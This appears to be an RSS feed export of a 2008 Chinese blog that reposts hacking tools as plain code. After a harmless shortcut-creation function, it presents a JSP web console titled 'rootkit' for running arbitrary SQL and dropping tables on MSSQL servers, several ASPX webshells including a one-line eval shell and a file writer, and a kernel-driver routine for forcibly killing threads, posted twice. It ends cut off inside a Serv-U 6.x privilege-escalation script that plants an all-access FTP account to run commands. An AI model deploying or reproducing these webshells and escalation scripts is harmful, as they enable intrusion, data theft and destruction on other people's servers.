&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .WorkingDirectory = addb( Justpath(lcTargetPath) ) &amp;&amp; 程序运行目录<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Save<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endwith<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loWshShell.Popup( [桌面快捷方式 ]+lcCaption+[ 建立成功], 16, [ &gt;&gt;&gt; 提示])<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loShellLink = Null<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loWshShell = Null<br>
&nbsp;&nbsp;&nbsp;  Else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  = MESSAGEBOX([建立桌面快捷方式失败，请先安装 Windows 的 WSH], 0+16+0, [ &gt;&gt;&gt; 提示])<br>
&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;  On Error &amp;lcOldOnError.<br>
Endfunc 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/fa1fafc4c30c06cf38db4928.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-16  11:28</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/fa1fafc4c30c06cf38db4928.html</guid>
</item>

<item>
        <title><![CDATA[JSP版MSSQL连接工具]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/f635df3466e2c2b3d0a2d3b2.html]]></link>
        <description><![CDATA[
		
		来源：King's Blog<br>
<br>
&lt;%@ page import=&quot;java.sql.*&quot; contentType=&quot;text/html; charset=GBK&quot;%&gt;<br>
&lt;%@ page import=&quot;java.util.*&quot;%&gt;<br>
&lt;html&gt;<br>
&lt;head&gt;<br>
&lt;title&gt;rootkit&lt;/title&gt;<br>
&lt;script type=&quot;javascript&quot;&gt;<br>
var db = &quot;master&quot;;<br>
function getTables() {<br>
window.open(&quot;&lt;%=request.getRequestURL().toString()%&gt;?action=getTables&amp;db=&quot;+db,&quot;&quot;,&quot;scrollbars=yes&quot;);<br>
}<br>
<br>
function logout() {<br>
location.href=&quot;&lt;%=request.getRequestURL().toString()%&gt;?action=logout&quot;;<br>
}<br>
<br>
function changevalue(select) {<br>
document.getElementById(&quot;sqlcmd&quot;).value = &quot;use &quot;+select.options[select.selectedIndex].value+&quot;;select * from sysobjects&quot;;<br>
}<br>
&lt;/script&gt;<br>
&lt;/head&gt;<br>
&lt;body bgcolor=&quot;#ffffff&quot;&gt;<br>
&lt;base href=&quot;&lt;%=request.getRequestURL()%&gt;&quot; /&gt;<br>
&lt;%<br>
if ((session.getAttribute(&quot;conn&quot;) == null &amp;&amp; request.getParameter(&quot;username&quot;) == null) || request.getParameter(&quot;action&quot;) == null) {<br>
%&gt;<br>
&lt;form method=&quot;post&quot; action=&quot;?action=getConn&quot;&gt;<br>
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;200&quot; border=&quot;1&quot;&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
IP:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;input name=&quot;ip&quot; type=&quot;text&quot; id=&quot;ip&quot;&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
USERNAME:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;input name=&quot;username&quot; type=&quot;text&quot; id=&quot;username&quot;&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
PASSWORD:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;input name=&quot;password&quot; type=&quot;password&quot; id=&quot;password&quot;&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
PORT:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;input name=&quot;port&quot; type=&quot;text&quot; id=&quot;port&quot;&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;/table&gt;<br>
&lt;p&gt;<br>
&lt;input name=&quot;btnok&quot; type=&quot;submit&quot; id=&quot;btnok&quot; value=&quot;连接&quot;&gt;<br>
&lt;/p&gt;<br>
&lt;/form&gt;<br>
&lt;%<br>
return;<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;getConn&quot;)){<br>
if (session.getAttribute(&quot;conn&quot;) != null) {<br>
response.sendRedirect(request.getRequestURL().toString()+&quot;?action=operator&quot;);<br>
return;<br>
}<br>
String ip = request.getParameter(&quot;ip&quot;);<br>
String username = request.getParameter(&quot;username&quot;);<br>
String password = request.getParameter(&quot;password&quot;);<br>
String port = request.getParameter(&quot;port&quot;);<br>
<br>
try {<br>
Class.forName(&quot;com.microsoft.jdbc.sqlserver.SQLServerDriver&quot;);<br>
Connection conn = DriverManager.getConnection(&quot;jdbc:microsoft:sqlserver://&quot;+ip+&quot;:&quot;+port+&quot;;DatabaseName=master&quot;,username,password);<br>
session.setAttribute(&quot;conn&quot;,conn);<br>
response.sendRedirect(request.getRequestURL().toString()+&quot;?action=operator&quot;);<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;operator&quot;)) {<br>
Connection conn = (Connection)session.getAttribute(&quot;conn&quot;);<br>
if (conn != null) {<br>
ArrayList dbs = (ArrayList)session.getAttribute(&quot;dbs&quot;);<br>
try {<br>
if (dbs == null) {<br>
PreparedStatement stmt = conn.prepareStatement(&quot;select name from sysdatabases&quot;);<br>
ResultSet rs = stmt.executeQuery();<br>
dbs = new ArrayList();<br>
<br>
while (rs.next()) {<br>
dbs.add(rs.getString(1));<br>
}<br>
rs.close();<br>
stmt.close();<br>
session.setAttribute(&quot;dbs&quot;,dbs);<br>
}<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
%&gt;<br>
&lt;table width=&quot;100%&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;1&quot;&gt;<br>
&lt;tr&gt;<br>
&lt;td width=&quot;20%&quot;&gt;<br>
选择数据库:<br>
&lt;/td&gt;<br>
&lt;td width=&quot;80%&quot;&gt;<br>
<br>
&lt;select name=&quot;database&quot;<br>
onChange=&quot;db = this.options[this.selectedIndex].value;changevalue(this)&quot;<br>
id=&quot;database&quot;&gt;<br>
&lt;%<br>
for (int i = 0;i&lt;dbs.size();i++) {<br>
String str = (String)dbs.get(i);<br>
request.setAttribute(&quot;db&quot;,str);<br>
%&gt;&lt;option ${db== param.db ?&quot;selected&quot;:&quot;&quot; } value=&quot;&lt;%=str%&gt;&quot;&gt;&lt;%=str %&gt;&lt;/option&gt;<br>
&lt;%<br>
}<br>
%&gt;<br>
&lt;/select&gt;<br>
<br>
&lt; span style=&quot;cursor: pointer&quot; onclick=&quot;getTables()&quot;&gt;查看用户表(要查看系统表请用命令) &lt;/span&gt; <br>
&lt;span onclick=&quot;logout()&quot; style=&quot;cursor: pointer&quot;&gt;退出&lt;/span&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
SQL Command:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;form action=&quot;?action=operator&amp;cmd=execute&quot;<br>
onsubmit=&quot;this.action += '&amp;db='+document.getElementById('database').options[document.getElementById('database').selectedIndex].value&quot;<br>
method=&quot;post&quot;&gt;<br>
&lt;input name=&quot;sqlcmd&quot; type=&quot;text&quot; id=&quot;sqlcmd&quot;<br>
value=&quot;${empty param.sqlcmd?&quot; use master;select * from<br>
sysobjects&quot;:param.sqlcmd}&quot; size=&quot;80&quot;&gt;<br>
&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;执行&quot;&gt;<br>
&lt;/form&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td valign=&quot;top&quot;&gt;<br>
结果:<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;%<br>
if (request.getParameter(&quot;cmd&quot;) != null) {<br>
<br>
String sql = request.getParameter(&quot;sqlcmd&quot;);<br>
try {<br>
Statement stmt = conn.createStatement();<br>
if (stmt.execute(sql)) {<br>
ResultSet rs = stmt.getResultSet();<br>
ResultSetMetaData data = rs.getMetaData();<br>
<br>
int i = 1;<br>
%&gt;<br>
&lt;table bordercolor=&quot;#33CCFF&quot; border=&quot;1&quot; cellspacing=&quot;0&quot;<br>
cellpadding=&quot;0&quot;&gt;<br>
&lt;tr&gt;<br>
&lt;%<br>
for (;i&lt;=data.getColumnCount();i++) {<br>
%&gt;<br>
&lt;th&gt;&lt;%=data.getColumnName(i) %&gt;&lt;/th&gt;<br>
&lt;%<br>
}<br>
%&gt;<br>
&lt;/tr&gt;<br>
&lt;%<br>
while (rs.next()) {<br>
out.println(&quot;&lt;tr&gt;&quot;);<br>
for (i=1;i&lt;=data.getColumnCount();i++) {<br>
%&gt;<br>
&lt;td style=&quot;word-break: break-all&quot;&gt;<br>
&lt;%=rs.getString(i) %&gt;<br>
&lt;/td&gt;<br>
&lt;%<br>
}<br>
out.println(&quot;&lt;/tr&gt;&quot;);<br>
}<br>
<br>
%&gt;<br>
&lt;/table&gt;<br>
&lt;%<br>
<br>
rs.close();<br>
stmt.close();<br>
} else {<br>
out.println(&quot;命令成功执行!&quot;);<br>
}<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
} else {<br>
out.println(&quot; &quot;);<br>
}<br>
%&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
<br>
&lt;/table&gt;<br>
&lt;%<br>
}<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;getTables&quot;)) {<br>
String db = request.getParameter(&quot;db&quot;);<br>
if (db != null) {<br>
Connection conn = (Connection)session.getAttribute(&quot;conn&quot;);<br>
try {<br>
Statement stmt = conn.createStatement();<br>
ResultSet rs = stmt.executeQuery(&quot;select name from [&quot;+db+&quot;]..sysobjects where xtype='U' and status&gt;0&quot;);<br>
%&gt;<br>
&lt;table&gt;<br>
&lt;tr&gt;<br>
&lt;th&gt;<br>
表名<br>
&lt;/th&gt;<br>
&lt;th&gt;<br>
操作 查看数据<br>
&lt;/th&gt;<br>
&lt;/tr&gt;<br>
&lt;%<br>
while (rs.next()) {<br>
%&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;&lt;%=rs.getString(1) %&gt;&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;a target=&quot;_blank&quot;<br>
href =&quot;&lt;%=request.getRequestURL().toString()+&quot;?action=deleteTable&amp;db=&quot;+ db+&quot;&amp;Table=&quot;+rs.getString(1) %&gt;&quot;&gt;删除&lt;/a&gt;<br>
&lt;/td&gt;<br>
&lt;td&gt;<br>
&lt;a target=&quot;_blank&quot;<br>
href =&quot;&lt;%=request.getRequestURL().toString()+&quot;?action=getContents&amp;db=&quot;+ db+&quot;&amp;table=&quot;+rs.getString(1) %&gt;&quot;&gt;查看&lt;/a&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;%<br>
}<br>
%&gt;<br>
&lt;/table&gt;<br>
&lt;%<br>
rs.close();<br>
stmt.close();<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
}<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;logout&quot;)) {<br>
Connection conn = (Connection)session.getAttribute(&quot;conn&quot;);<br>
try {<br>
conn.close();<br>
session.invalidate();<br>
response.sendRedirect(request.getRequestURL().toString());<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;getContents&quot;)) {<br>
String db = request.getParameter(&quot;db&quot;);<br>
String table = request.getParameter(&quot;table&quot;);<br>
<br>
if (db != null &amp;&amp; table != null) {<br>
try {<br>
Connection conn = (Connection)session.getAttribute(&quot;conn&quot;);<br>
if (conn != null) {<br>
Statement stmt = conn.createStatement();<br>
ResultSet rs = stmt.executeQuery(&quot;select * from [&quot;+db+&quot;]..[&quot;+table+&quot;]&quot;);<br>
ResultSetMetaData data = rs.getMetaData();<br>
<br>
out.println(&quot;&lt;table border=1 cellpadding=0 cellspacing=0&gt;&quot;);<br>
int i = data.getColumnCount();<br>
out.println(&quot;&lt;tr&gt;&quot;);<br>
for (int a = 1;a&lt;=i;a++) {<br>
out.println(&quot;&lt;th&gt;&quot;+data.getColumnName(a)+&quot;&lt;/th&gt;&quot;);<br>
}<br>
out.println(&quot;&lt;/tr&gt;&quot;);<br>
while (rs.next()) {<br>
out.println(&quot;&lt;tr&gt;&quot;);<br>
for (int a= 0;a&lt;i;a++) {<br>
out.println(&quot;&lt;td style='word-break:break-all'&gt;&quot;+rs.getString(a+1)+&quot;&lt;/td&gt;&quot;);<br>
}<br>
out.println(&quot;&lt;/tr&gt;&quot;);<br>
}<br>
<br>
out.println(&quot;&lt;/table&gt;&quot;);<br>
rs.close();<br>
stmt.close();<br>
}<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
}<br>
} else if (request.getParameter(&quot;action&quot;).equals(&quot;deleteTable&quot;)) {<br>
try {<br>
String db = request.getParameter(&quot;db&quot;);<br>
String table = request.getParameter(&quot;Table&quot;);<br>
Connection conn = (Connection)session.getAttribute(&quot;conn&quot;);<br>
Statement stmt = conn.createStatement();<br>
stmt.executeUpdate(&quot;drop table [&quot;+db+&quot;]..[&quot;+table+&quot;]&quot;);<br>
out.println(table + &quot;表已被执行删除操作，请刷新父页面以确认表是否被删除!&quot;);<br>
stmt.close();<br>
} catch (Exception e) {<br>
out.println(e.getMessage());<br>
}<br>
<br>
}<br>
%&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt; 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/f635df3466e2c2b3d0a2d3b2.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-05  01:12</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/f635df3466e2c2b3d0a2d3b2.html</guid>
</item>

<item>
        <title><![CDATA[几个.net的马]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/948c8e030c1aa68cd43f7cb1.html]]></link>
        <description><![CDATA[
		
		来源：红狼<br>
<br>
1k 的<br>
&lt;%@ Page Language=&quot;VB&quot; %&gt;<br>
&lt;%@ import Namespace=&quot;System.IO&quot; %&gt;<br>
&lt;script runat=&quot;server&quot;&gt;<br>
Sub Page_load(sender As Object, E As EventArgs) <br>
 dim mywrite as new streamwriter(request.form(&quot;path&quot;), true, encoding.default) mywrite.write(request.form(&quot;content&quot;)) <br>
 mywrite.close <br>
 response.write(&quot;Done!&quot;)<br>
End Sub<br>
&lt;/script&gt;<br>
---------------------------<br>
.net的一句话<br>
&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%Response.Write(eval(Request.Item[&quot;z&quot;],&quot;unsafe&quot;));%&gt;<br>
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br>
&lt;HTML&gt;<br>
&lt;HEAD&gt;<br>
&lt;TITLE&gt; ASPX one line Code Client by amxku&lt;/TITLE&gt;<br>
&lt;/HEAD&gt;<br>
&lt;BODY&gt;<br>
&lt;form action=http://127.0.0.1/test.aspx method=post&gt;<br>
&lt;textarea name=z cols=120 rows=10 width=45&gt;<br>
var nonamed=new System.IO.StreamWriter(Server.MapPath(&quot;nonamed.aspx&quot;),false);<br>
nonamed.Write(Request.Item[&quot;l&quot;]);<br>
nonamed.Close();<br>
&lt;/textarea&gt;<br>
&lt;textarea name=l cols=120 rows=10 width=45&gt;your code&lt;/textarea&gt;&lt;BR&gt;&lt;center&gt;&lt;br&gt;<br>
&lt;input type=submit value=提交&gt;<br>
&lt;/BODY&gt;<br>
&lt;/HTML&gt; 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/948c8e030c1aa68cd43f7cb1.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-05  01:10</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/948c8e030c1aa68cd43f7cb1.html</guid>
</item>

<item>
        <title><![CDATA[一段杀线程的代码]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/ef7f09ec0e6051d52f2e2199.html]]></link>
        <description><![CDATA[
		
		文章作者：炉子[0GiNr]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

Quote:

/*
                TerminateThread.c
                By 炉子[0GiNr]
                http://hi.baidu.com/breakinglove_
                http://0ginr.com
*/

#include "ntddk.h"
#include "LDasm.h" //网上很多的，自己找一个好了。

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT;

NTKERNELAPI
VOID
KeInitializeApc (
                PKAPC Apc,
                PETHREAD Thread,
                KAPC_ENVIRONMENT Environment,
                PKKERNEL_ROUTINE KernelRoutine,
                PKRUNDOWN_ROUTINE RundownRoutine,
                PKNORMAL_ROUTINE NormalRoutine,
                KPROCESSOR_MODE ProcessorMode,
                PVOID NormalContext
                );

NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
                  PKAPC Apc,
                  PVOID SystemArgument1,
                  PVOID SystemArgument2,
                  KPRIORITY Increment
                  );  

#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL

ULONG GetThreadFlagsOffset()
{
    UCHAR *cPtr, *pOpcode;
    ULONG Length;
    USHORT Offset;

    for (cPtr = (PUCHAR)PsTerminateSystemThread; 
        cPtr &lt; (PUCHAR)PsTerminateSystemThread + 0x100; 
        cPtr += Length) 
    {
        Length = SizeOfCode(cPtr, &pOpcode);

        if (!Length) break;    
        if (*(USHORT *)pOpcode == 0x80F6) //f6804802000010 test byte ptr [eax+248h],10h
        {
            Offset=*(USHORT *)((ULONG)pOpcode+2);
            return Offset;
            //break;
        }
    }
    return 0;
}

VOID KernelTerminateThreadRoutine(
                                  IN PKAPC Apc,
                                  IN OUT PKNORMAL_ROUTINE *NormalRoutine,
                                  IN OUT PVOID *NormalContext,
                                  IN OUT PVOID *SystemArgument1,
                                  IN OUT PVOID *SystemArgument2
                                  )
{
    ULONG ThreadFlagsOffset=GetThreadFlagsOffset();
    PULONG ThreadFlags;
    DbgPrint("[TerminateThread] KernelTerminateThreadRoutine.\n");
    ExFreePool(Apc);
    if (ThreadFlagsOffset)
    {
        ThreadFlags=(ULONG *)((ULONG)(PsGetCurrentThread())+ThreadFlagsOffset);
        *ThreadFlags=(*ThreadFlags)|PS_CROSS_THREAD_FLAGS_SYSTEM;
        PsTerminateSystemThread(STATUS_SUCCESS); //o(∩_∩)o
    }
    else
    {
        //failed :'(
    }
    return; //never be here
}

BOOLEAN TerminateThread(PETHREAD Thread)
{
    PKAPC Apc=NULL;
    BOOLEAN blnSucceed=FALSE;
    if (!MmIsAddressValid(Thread)) return FALSE; //error.
    Apc=ExAllocatePool(NonPagedPool,sizeof(KAPC));
    KeInitializeApc(Apc,
        Thread,
        OriginalApcEnvironment,
        KernelTerminateThreadRoutine,
        NULL,
        NULL,
        KernelMode,
        NULL); //special apc - whether alertable or not makes no difference..
    blnSucceed=KeInsertQueueApc(Apc,
        NULL,
        NULL,
        0);
    //add some code works like KeForceResumeThread here.
    return blnSucceed;
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{    
    DbgPrint("[TerminateThread] Unloaded\n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
    DbgPrint("[TerminateThread] DriverEntry.\n");
    TerminateThread((PETHREAD)0xff6f3c70); // for test
    pDriverObj-&gt;DriverUnload = DriverUnload;
    return STATUS_SUCCESS; //do NOT return an unsuccessful value here, or you need to wait for apc routine return.
} 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Programming">Programming</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/ef7f09ec0e6051d52f2e2199.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-01  11:01</pubDate>
        <category><![CDATA[Programming]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/ef7f09ec0e6051d52f2e2199.html</guid>
</item>

<item>
        <title><![CDATA[一段杀线程的代码]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/f4bd0ed9d99766ed39012f99.html]]></link>
        <description><![CDATA[
		
		文章作者：炉子[0GiNr]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

Quote:

/*
                TerminateThread.c
                By 炉子[0GiNr]
                http://hi.baidu.com/breakinglove_
                http://0ginr.com
*/

#include "ntddk.h"
#include "LDasm.h" //网上很多的，自己找一个好了。

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT;

NTKERNELAPI
VOID
KeInitializeApc (
                PKAPC Apc,
                PETHREAD Thread,
                KAPC_ENVIRONMENT Environment,
                PKKERNEL_ROUTINE KernelRoutine,
                PKRUNDOWN_ROUTINE RundownRoutine,
                PKNORMAL_ROUTINE NormalRoutine,
                KPROCESSOR_MODE ProcessorMode,
                PVOID NormalContext
                );

NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
                  PKAPC Apc,
                  PVOID SystemArgument1,
                  PVOID SystemArgument2,
                  KPRIORITY Increment
                  );  

#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL

ULONG GetThreadFlagsOffset()
{
    UCHAR *cPtr, *pOpcode;
    ULONG Length;
    USHORT Offset;

    for (cPtr = (PUCHAR)PsTerminateSystemThread; 
        cPtr &lt; (PUCHAR)PsTerminateSystemThread + 0x100; 
        cPtr += Length) 
    {
        Length = SizeOfCode(cPtr, &pOpcode);

        if (!Length) break;    
        if (*(USHORT *)pOpcode == 0x80F6) //f6804802000010 test byte ptr [eax+248h],10h
        {
            Offset=*(USHORT *)((ULONG)pOpcode+2);
            return Offset;
            //break;
        }
    }
    return 0;
}

VOID KernelTerminateThreadRoutine(
                                  IN PKAPC Apc,
                                  IN OUT PKNORMAL_ROUTINE *NormalRoutine,
                                  IN OUT PVOID *NormalContext,
                                  IN OUT PVOID *SystemArgument1,
                                  IN OUT PVOID *SystemArgument2
                                  )
{
    ULONG ThreadFlagsOffset=GetThreadFlagsOffset();
    PULONG ThreadFlags;
    DbgPrint("[TerminateThread] KernelTerminateThreadRoutine.\n");
    ExFreePool(Apc);
    if (ThreadFlagsOffset)
    {
        ThreadFlags=(ULONG *)((ULONG)(PsGetCurrentThread())+ThreadFlagsOffset);
        *ThreadFlags=(*ThreadFlags)|PS_CROSS_THREAD_FLAGS_SYSTEM;
        PsTerminateSystemThread(STATUS_SUCCESS); //o(∩_∩)o
    }
    else
    {
        //failed :'(
    }
    return; //never be here
}

BOOLEAN TerminateThread(PETHREAD Thread)
{
    PKAPC Apc=NULL;
    BOOLEAN blnSucceed=FALSE;
    if (!MmIsAddressValid(Thread)) return FALSE; //error.
    Apc=ExAllocatePool(NonPagedPool,sizeof(KAPC));
    KeInitializeApc(Apc,
        Thread,
        OriginalApcEnvironment,
        KernelTerminateThreadRoutine,
        NULL,
        NULL,
        KernelMode,
        NULL); //special apc - whether alertable or not makes no difference..
    blnSucceed=KeInsertQueueApc(Apc,
        NULL,
        NULL,
        0);
    //add some code works like KeForceResumeThread here.
    return blnSucceed;
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{    
    DbgPrint("[TerminateThread] Unloaded\n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
    DbgPrint("[TerminateThread] DriverEntry.\n");
    TerminateThread((PETHREAD)0xff6f3c70); // for test
    pDriverObj-&gt;DriverUnload = DriverUnload;
    return STATUS_SUCCESS; //do NOT return an unsuccessful value here, or you need to wait for apc routine return.
} 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Programming">Programming</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/f4bd0ed9d99766ed39012f99.html#comment">查看评论</a>]]></description>
        <pubDate>2008-02-01  11:00</pubDate>
        <category><![CDATA[Programming]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/f4bd0ed9d99766ed39012f99.html</guid>
</item>

<item>
        <title><![CDATA[Serv-U 6.X 提权脚本]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/1c8a89ed7b6b664b78f055e1.html]]></link>
        <description><![CDATA[
		
		Author:落叶纷飞<br>
来源：http://www.cnsst.org/<br>
使用方法：如果是6.4以下的保持默认即可，只要按你的需要修改执行的命令即可！如果为6.4请在&ldquo;服务器端口&rdquo;里填21，然后再在&ldquo;服务器IP&rdquo;中填写服务器的真实IP<br>
&lt;%@ LANGUAGE = VBScript %&gt;<br>
&lt;%<br>
Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit<br>
dim action<br>
action=request(&quot;action&quot;)<br>
if not isnumeric(action) then response.end<br>
user = trim(request(&quot;u&quot;))<br>
pass = trim(request(&quot;p&quot;))<br>
port = trim(request(&quot;port&quot;))<br>
cmd = trim(request(&quot;c&quot;))<br>
f=trim(request(&quot;f&quot;))<br>
if f=&quot;&quot; then<br>
f=gpath()<br>
else<br>
f=left(f,2)<br>
end if<br>
ftpport = ffport<br>
timeout=3<br>
<br>
loginuser = &quot;User &quot; &amp; user &amp; vbCrLf<br>
loginpass = &quot;Pass &quot; &amp; pass &amp; vbCrLf<br>
deldomain = &quot;-DELETEDOMAIN&quot; &amp; vbCrLf &amp; &quot;-IP=&quot; &amp; iip &amp; vbCrLf &amp; &quot; PortNo=&quot; &amp; ftpport &amp; vbCrLf<br>
mt = &quot;SITE MAINTENANCE&quot; &amp; vbCrLf<br>
newdomain = &quot;-SETDOMAIN&quot; &amp; vbCrLf &amp; &quot;-Domain=leaves|&quot; &amp; iip &amp; &quot;|&quot; &amp; ftpport &amp; &quot;|-1|1|0&quot; &amp; vbCrLf &amp; &quot;-TZOEnable=0&quot; &amp; vbCrLf &amp; &quot; TZOKey=&quot; &amp; vbCrLf<br>
newuser = &quot;-SETUSERSETUP&quot; &amp; vbCrLf &amp; &quot;-IP=0.0.0.0&quot; &amp; vbCrLf &amp; &quot;-PortNo=&quot; &amp; ftpport &amp; vbCrLf &amp; &quot;-User=luo&quot; &amp; vbCrLf &amp; &quot;-Password=ye&quot; &amp; vbCrLf &amp; _<br>
&quot;-HomeDir=c:\\&quot; &amp; vbCrLf &amp; &quot;-LoginMesFile=&quot; &amp; vbCrLf &amp; &quot;-Disable=0&quot; &amp; vbCrLf &amp; &quot;-RelPaths=1&quot; &amp; vbCrLf &amp; _<br>
&quot;-NeedSecure=0&quot; &amp; vbCrLf &amp; &quot;-HideHidden=0&quot; &amp; vbCrLf &amp; &quot;-AlwaysAllowLogin=0&quot; &amp; vbCrLf &amp; &quot;-ChangePassword=0&quot; &amp; vbCrLf &amp; _<br>
&quot;-QuotaEnable=0&quot; &amp; vbCrLf &amp; &quot;-MaxUsersLoginPerIP=-1&quot; &amp; vbCrLf &amp; &quot;-SpeedLimitUp=0&quot; &amp; vbCrLf &amp; &quot;-SpeedLimitDown=0&quot; &amp; vbCrLf &amp; _<br>
&quot;-MaxNrUsers=-1&quot; &amp; vbCrLf &amp; &quot;-IdleTimeOut=600&quot; &amp; vbCrLf &amp; &quot;-SessionTimeOut=-1&quot; &amp; vbCrLf &amp; &quot;-Expire=0&quot; &amp; vbCrLf &amp; &quot;-RatioUp=1&quot; &amp; vbCrLf &amp; _<br>
&quot;-RatioDown=1&quot; &amp; vbCrLf &amp; &quot;-RatiosCredit=0&quot; &amp; vbCrLf &amp; &quot;-QuotaCurrent=0&quot; &amp; vbCrLf &amp; &quot;-QuotaMaximum=0&quot; &amp; vbCrLf &amp; _<br>
&quot;-Maintenance=System&quot; &amp; vbCrLf &amp; &quot;-PasswordType=Regular&quot; &amp; vbCrLf &amp; &quot;-Ratios=None&quot; &amp; vbCrLf &amp; &quot; Access=c:\\|RWAMELCDP&quot; &amp; vbCrLf<br>
quit = &quot;QUIT&quot; &amp; vbCrLf<br>
newuser=replace(newuser,&quot;c:&quot;,f)<br>
select case action<br>
case 1<br>
set a=Server.CreateObject(&quot;Microsoft.XMLHTTP&quot;)<br>
